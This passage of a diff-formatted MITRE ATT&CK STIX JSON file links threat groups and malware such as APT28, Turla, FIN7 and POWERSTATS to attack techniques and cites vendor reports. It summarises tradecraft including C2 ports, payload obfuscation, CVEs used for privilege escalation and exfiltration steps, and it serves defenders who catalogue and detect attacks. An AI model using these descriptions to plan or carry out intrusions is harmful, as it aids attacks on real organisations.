"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) adds collected files to a temp.zip file saved in the %temp% folder, then base64 encodes it and uploads it to control server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6a04ef8a-9521-4212-92be-85e092b82e24", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "modified": "2019-03-25T12:58:44.176Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T16:53:38.839Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.059Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--47835d17-73e1-427f-85b0-b55b610fa9ad", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45", + "relationship_type": "uses", + "target_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PHOREAL](https://attack.mitre.org/software/S0158) is capable of manipulating the Registry.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--202b96f6-0f7c-4aed-8004-780f1d880059", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) can collect operating system (OS) version information, processor information, system name, and information about installed disks from the victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5dd257c0-c2cb-422a-9991-93ff667c5ad6", + "external_references": [ + { + "source_name": "US-CERT FALLCHILL Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) uses Port Numbers 443, 8443, and 8080 for C2 communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cf237fa7-165c-463a-90bb-aa6e20de5249", + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + }, + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-01-30T13:42:09.719Z", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) uses character replacement, [PowerShell](https://attack.mitre.org/techniques/T1086) environment variables, and XOR encoding to obfuscate code. [POWERSTATS](https://attack.mitre.org/software/S0223)'s backdoor code is a multi-layer obfuscated, encoded, and compressed blob.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--baf31b81-e175-49e3-b2d9-d7552ea902a1", + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "modified": "2019-04-22T22:36:52.967Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can encrypt payloads using XOR. [Threat Group-3390](https://attack.mitre.org/groups/G0027) malware is also obfuscated using Metasploit\u2019s shikata_ga_nai encoder as well as compressed with LZNT1 compression.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--658fcd28-934d-4077-b93e-89af9512de5f", + "external_references": [ + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + }, + { + "source_name": "Securelist LuckyMouse June 2018", + "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/" + }, + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "modified": "2019-07-14T21:15:55.047Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has exploited CVE-2014-4076, CVE-2015-2387, CVE-2015-1701, CVE-2017-0263 to escalate privileges.", + "type": "relationship", + "created": "2017-05-31T21:33:27.039Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cce31baa-5862-4df5-806f-15aaa7410fa5", + "external_references": [ + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + }, + { + "source_name": "Microsoft SIR Vol 19", + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + }, + { + "source_name": "Securelist Sofacy Feb 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + } + ], + "modified": "2019-07-27T00:09:36.044Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Rover](https://attack.mitre.org/software/S0090) has functionality to remove Registry Run key persistence as a cleanup procedure.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bad90106-a150-4d76-b39f-f35aab4ac766", + "external_references": [ + { + "source_name": "Palo Alto Rover", + "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T17:01:21.308Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.064Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--489e5386-b177-455f-a8b3-d3c6e7afb9b1", + "external_references": [ + { + "source_name": "Dell TG-1314", + "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/resources/blog/living-off-the-land/" + } + ], + "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983", + "relationship_type": "uses", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SNUGRIDE](https://attack.mitre.org/software/S0159) communicates with its C2 server over HTTP.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2121683c-ab01-4212-b2d2-af290dd8ed17", + "external_references": [ + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used a Batch file to automate frequently executed post compromise cleanup activities.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e090281c-4ab9-4b6f-ab63-f22606f7e620", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2019-03-22T20:21:57.660Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:34:11.421Z", + "type": "relationship", + "id": "relationship--758b6582-b988-4ab9-911e-e40c9bbebc2d", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.031Z", + "source_ref": "course-of-action--943d370b-2054-44df-8be2-ab4139bde1c5", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) encrypts data with a substitute cipher prior to exfiltration.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--292b2a10-ebee-4fbb-b359-2eee16aa46ba", + "external_references": [ + { + "source_name": "CopyKittens Nov 2015", + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + } + ], + "modified": "2019-05-03T16:42:19.204Z", + "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used shellcode to download Meterpreter after compromising a victim. [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors can also download files onto victim machines.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--20b90b04-4ce1-4e9a-9dbb-9fc93569d3e1", + "external_references": [ + { + "source_name": "ESET Turla Mosquito May 2018", + "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/" + }, + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + }, + { + "source_name": "Symantec Waterbug Jun 2019", + "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments" + } + ], + "modified": "2019-07-14T21:04:44.958Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:20:19.834Z", + "type": "relationship", + "id": "relationship--9a8ca137-d0ec-4861-ad1b-0686bf6ac4c9", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-10-17T00:14:20.652Z", + "source_ref": "course-of-action--a98be93b-a75b-4dd4-8a72-4dfd0b5e25bb", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can perform pass the hash.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9a286577-ccfc-4793-96ce-02c17dc0f4ae", + "external_references": [ + { + "source_name": "Cobalt Strike TTPs Dec 2017", + "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", + "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf" + } + ], + "modified": "2019-06-06T19:04:39.283Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) spear phishing campaigns have included malicious Word documents with DDE execution.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--51afbe4e-c5cd-4acd-b4e1-ff7877b78b9e", + "external_references": [ + { + "source_name": "CyberScoop FIN7 Oct 2017", + "description": "Waterman, S. (2017, October 16). Fin7 weaponization of DDE is just their latest slick move, say researchers. Retrieved November 21, 2017.", + "url": "https://www.cyberscoop.com/fin7-dde-morphisec-fileless-malware/" + } + ], + "modified": "2019-06-30T23:13:18.421Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) takes a screenshot of the screen and displays it on top of all other windows for few seconds in an apparent attempt to hide some messages showed by the system during the setup process.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0c1f6d5f-3094-4834-94a9-5a615e7c319c", + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "modified": "2019-07-14T21:44:44.189Z", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT19](https://attack.mitre.org/groups/G0073) collected system architecture information. [APT19](https://attack.mitre.org/groups/G0073) used an HTTP malware variant and a Port 22 malware variant to gather the hostname and CPU information from the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c3d9182c-178b-4d8d-91d8-f4d1313738bb", + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + }, + { + "source_name": "Unit 42 C0d0so0 Jan 2016", + "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/" + } + ], + "modified": "2019-04-25T11:39:52.117Z", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T19:59:27.071Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.042Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e2e2d332-f27b-46fb-b48f-4ee1872b321f", + "external_references": [ + { + "source_name": "Group-IB Anunak", + "description": "Group-IB and Fox-IT. (2014, December). Anunak: APT against financial institutions. Retrieved April 20, 2016.", + "url": "http://www.group-ib.com/files/Anunak_APT_against_financial_institutions.pdf" + } + ], + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "relationship_type": "uses", + "target_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has downloaded additional scripts and files from adversary-controlled servers. [Leviathan](https://attack.mitre.org/groups/G0065) has also used an uploader known as LUNCHMONEY that can exfiltrate files to Dropbox.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--273ad96c-269f-4736-a3de-646713c15b50", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2019-04-25T12:24:57.295Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can list out currently running processes.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--daf56e8e-ea82-4ef2-bb03-78dd7e6ef3c0", + "external_references": [ + { + "source_name": "FireEye Clandestine Fox", + "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html" + }, + { + "source_name": "evolution of pirpi", + "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.", + "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf" + } + ], + "modified": "2019-04-29T18:01:20.400Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can use WMI queries to retrieve data from compromised hosts.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--42cc506f-e9c2-43f1-a68f-3c6973cca2dc", + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "modified": "2019-04-22T22:36:52.972Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NavRAT](https://attack.mitre.org/software/S0247) uses tasklist /v to check running processes.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b9e42e0a-e779-4491-b107-a064254a7da3", + "external_references": [ + { + "source_name": "Talos NavRAT May 2018", + "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", + "url": "https://blog.talosintelligence.com/2018/05/navrat.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-10T15:59:09.269Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.054Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4b521c7b-c66b-4bbc-847e-d6a13e9ae62c", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "relationship_type": "uses", + "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Orangeworm](https://attack.mitre.org/groups/G0071) has copied its backdoor across open network shares, including ADMIN$, C$WINDOWS, D$WINDOWS, and E$WINDOWS.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e09c37a3-ae23-403e-93d5-aef4953bd43c", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "modified": "2019-03-25T15:36:46.805Z", + "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "relationship_type": "uses", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": 